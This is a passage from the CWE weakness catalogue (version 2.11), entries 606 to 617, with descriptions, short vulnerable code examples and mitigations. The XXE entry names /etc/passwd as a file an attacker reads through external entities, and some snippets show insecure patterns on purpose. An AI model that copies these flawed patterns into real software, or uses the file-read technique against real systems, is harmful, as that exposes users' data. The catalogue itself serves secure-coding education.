<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td>1000 1033</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌍</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000 1045</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌍</td>
<td>954</td>
<td>SFP Secondary Cluster: Multiple Binds to the Same Port</td>
<td>888 1378</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌍</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td>SFP32</td>
<td>Multiple binds to the same port</td>
</tr>
</tbody>
</table>

CWE-606: Unchecked Input for Loop Condition

Weakness ID: 606 (Weakness Base)  Status: Draft

Description

954
Summary
The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service because of excessive looping.

Time of Introduction
- Implementation

Common Consequences
Availability
DoS: resource consumption (CPU)

Demonstrative Examples
C Example:
```c
void iterate(int n){
    int i;
    for (i = 0; i < n; i++){
        foo();
    }
}

void iterateFoo(){
    unsigned int num;
    scanf("%u", &num);
    iterate(num);
}
```

Potential Mitigations
Implementation
- Do not use user-controlled data for loop conditions.

Implementation
- Perform input validation.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734</td>
<td>1135</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>834</td>
<td>Excessive Iteration</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868</td>
<td>1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888</td>
<td>1396</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT03-C</td>
<td>Use a secure integer library</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT03-CPP</td>
<td>Use a secure integer library</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

References

CWE-607: Public Static Final Field References Mutable Object

Weakness ID: 607 (Weakness Variant) Status: Draft

Description
Summary
A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.
**CWE Version 2.11**

**CWE-608: Struts: Non-private Field in ActionForm Class**

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Java

**Common Consequences**
- Integrity
- Modify application data

**Demonstrative Examples**
Here, an array (which is inherently mutable) is labeled public static final.

**Java Example:**
```
public static final String[] USER_ROLES;
```

**Potential Mitigations**
**Implementation**
Protect mutable objects by making them private. Restrict access to the getter and setter as well.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

- Anonymous Tool Vendor (under NDA)
- Software Fault Patterns

**CWE-608: Struts: Non-private Field in ActionForm Class**

**Weakness ID:** 608 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**
An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Java

**Common Consequences**
- Integrity
- Confidentiality
- Modify application data
- Read application data

**Demonstrative Examples**
In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

**Java Example:**
```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // variables for registration form
    public String name;
```
However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

**Potential Mitigations**

**Implementation**

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP28</td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>

**CWE-609: Double-Checked Locking**

**Weakness ID: 609 (Weakness Base)**

**Description**

**Summary**

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

**Extended Description**

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not
be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Java

**Languages**
- Java

**Common Consequences**
- Integrity
- Other
- Modify application data
- Alter execution logic

**Demonstrative Examples**
It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

**Java Example:**

```java
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

```java
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

**Potential Mitigations**

**Implementation**
While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>B</td>
<td>667</td>
<td>Improper Locking</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK10-J</td>
<td>Do not use incorrect forms of the double-checked locking idiom</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP19</td>
<td>Missing Lock</td>
</tr>
</tbody>
</table>

**References**
CWE-610: Externally Controlled Reference to a Resource in Another Sphere

**Weakness ID:** 610 *(Weakness Class)*

**Status:** Draft

**Description**

**Summary**
The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

**Extended Description**

**Time of Introduction**
- Architecture and Design

**Common Consequences**
- Confidentiality
- Integrity

**Read application data**
**Modify application data**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>15</td>
<td>External Control of System or Configuration Setting</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Relationship Notes**

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

**Taxonomy Mappings**

**Mapped Taxonomy Name**
Anonymous Tool Vendor (under NDA)

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>219</td>
<td>XML Routing Detour Attacks</td>
<td></td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-611: Improper Restriction of XML External Entity Reference ('XXE')

Maintenance Notes
The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

CWE-611: Improper Restriction of XML External Entity Reference ('XXE')

Weakness ID: 611 (Weakness Variant)
Status: Draft

Description
Summary
The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description
XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file://c:\winnt\win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Alternate Terms
XXE
XXE is an acronym used for the term "XML eXternal Entities"

Time of Introduction
• Implementation

Applicable Platforms

Languages
• XML

Architectural Paradigms
• Web-based

Common Consequences
Confidentiality
Read application data
Read files or directories
If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.
**Integrity**

**Bypass protection mechanism**

The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.

**Availability**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

The software could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1306</td>
<td>A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.</td>
</tr>
<tr>
<td>CVE-2009-1699</td>
<td>XXE in XSL stylesheet functionality in a common library used by some web browsers.</td>
</tr>
<tr>
<td>CVE-2010-3322</td>
<td>XXE in product that performs large-scale data analysis.</td>
</tr>
<tr>
<td>CVE-2011-4107</td>
<td>XXE in web-based administration tool for database.</td>
</tr>
<tr>
<td>CVE-2012-0037</td>
<td>XXE in office document product using RDF.</td>
</tr>
<tr>
<td>CVE-2012-2239</td>
<td>XXE in PHP application allows reading the application's configuration file.</td>
</tr>
<tr>
<td>CVE-2012-3363</td>
<td>XXE via XML-RPC request.</td>
</tr>
<tr>
<td>CVE-2012-3489</td>
<td>XXE in database server</td>
</tr>
<tr>
<td>CVE-2012-4399</td>
<td>XXE in rapid web application development framework allows reading arbitrary files.</td>
</tr>
<tr>
<td>CVE-2012-5656</td>
<td>XXE during SVG image conversion</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**System Configuration**

Many XML parsers and validators can be configured to disable external entity expansion.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

**Relationship Notes**

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

**Relevant Properties**

- Accessibility

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>43</td>
<td>XML External Entities</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**References**


CWE Version 2.11
CWE-612: Information Exposure Through Indexing of Private Data


CWE-612: Information Exposure Through Indexing of Private Data

<table>
<thead>
<tr>
<th>Weakness ID: 612 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The product performs an indexing routine against private documents, but does not sufficiently verify that the actors who can access the index also have the privileges to access the private documents.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.</td>
<td></td>
</tr>
</tbody>
</table>

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
Confidentiality
Read application data

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

**Research Gaps**
This weakness is probably under-studied and under-reported

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Anonymous Tool Vendor (under NDA)</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>48</td>
<td>Insecure Indexing</td>
</tr>
</tbody>
</table>

CWE-613: Insufficient Session Expiration

<table>
<thead>
<tr>
<th>Weakness ID: 613 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>According to WASC, &quot;Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.&quot;</td>
<td></td>
</tr>
</tbody>
</table>

**Time of Introduction**
- Architecture and Design
• Implementation

Common Consequences
Access Control
Bypass protection mechanism

Demonstrative Examples
The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Java Example:
```
<web-app>
  [...snipped...]
  <session-config>
    <session-timeout>-1</session-timeout>
  </session-config>
</web-app>
```

Potential Mitigations
Implementation
Set sessions/credentials expiration date.

Other Notes
The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>627</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1041</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1363</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1377</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>612</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>47</td>
<td>Insufficient Session Expiration</td>
</tr>
</tbody>
</table>

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID: 614 (Weakness Variant)  Status: Draft

Description

Summary
The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

Time of Introduction
• Implementation

Common Consequences
CWE-615: Information Exposure Through Comments

Confidentiality
Read application data

Demonstrative Examples
The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Java Example:
```java
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0462</td>
<td>A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product.</td>
</tr>
<tr>
<td>CVE-2008-0128</td>
<td>A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.</td>
</tr>
<tr>
<td>CVE-2008-3662</td>
<td>A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.</td>
</tr>
<tr>
<td>CVE-2008-3663</td>
<td>A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Always set the secure attribute when the cookie should sent via HTTPS only.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>699 549</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>699 757</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888 1383</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor      (under NDA)</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>102</td>
<td>Session Sidejacking</td>
</tr>
</tbody>
</table>

CWE-615: Information Exposure Through Comments

Weakness ID: 615 (Weakness Variant) Status: Incomplete

Description

Summary
While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description
An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Time of Introduction
- Implementation

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

HTML/JSP Example:

```html
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-4072</td>
<td>CMS places full pathname of server in HTML comment.</td>
</tr>
<tr>
<td>CVE-2007-6197</td>
<td>Version numbers and internal hostnames leaked in HTML comments.</td>
</tr>
<tr>
<td>CVE-2009-2431</td>
<td>Blog software leaks real username in HTML comment.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Distribution
Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>v</td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
<td>699 822</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
</tbody>
</table>

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID: 616 (Weakness Variant) Status: Incomplete

Description

Summary
The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description
These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Time of Introduction
• Implementation

Applicable Platforms

Languages
• PHP

Common Consequences

Confidentiality
Read files or directories
Integrity
Modify files or directories

Demonstrative Examples

Example 1:
As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.
In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):
### CWE Version 2.11

**CWE-617: Reachable Assertion**

#### PHP Example:

```php
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

#### Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

```php
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: ’userfile’ is the field name from the web form; this can vary.

#### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1460</td>
<td>Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files.</td>
</tr>
<tr>
<td>CVE-2002-1710</td>
<td>Product does not distinguish uploaded file from other files.</td>
</tr>
<tr>
<td>CVE-2002-1759</td>
<td>Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $POST.</td>
</tr>
</tbody>
</table>

#### Potential Mitigations

**Architecture and Design**

Use PHP 4 or later.

**Implementation**

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

#### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🎯</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>1000 601</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🎯</td>
<td>429</td>
<td>Handler Errors</td>
<td>699 740</td>
</tr>
<tr>
<td>PeerOf</td>
<td>🎯</td>
<td>473</td>
<td>PHP External Variable Modification</td>
<td>1000 798</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🎯</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888 1396</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

#### References

Shaun Clowes. "A Study in Scarlet - section 5, "File Upload""

---

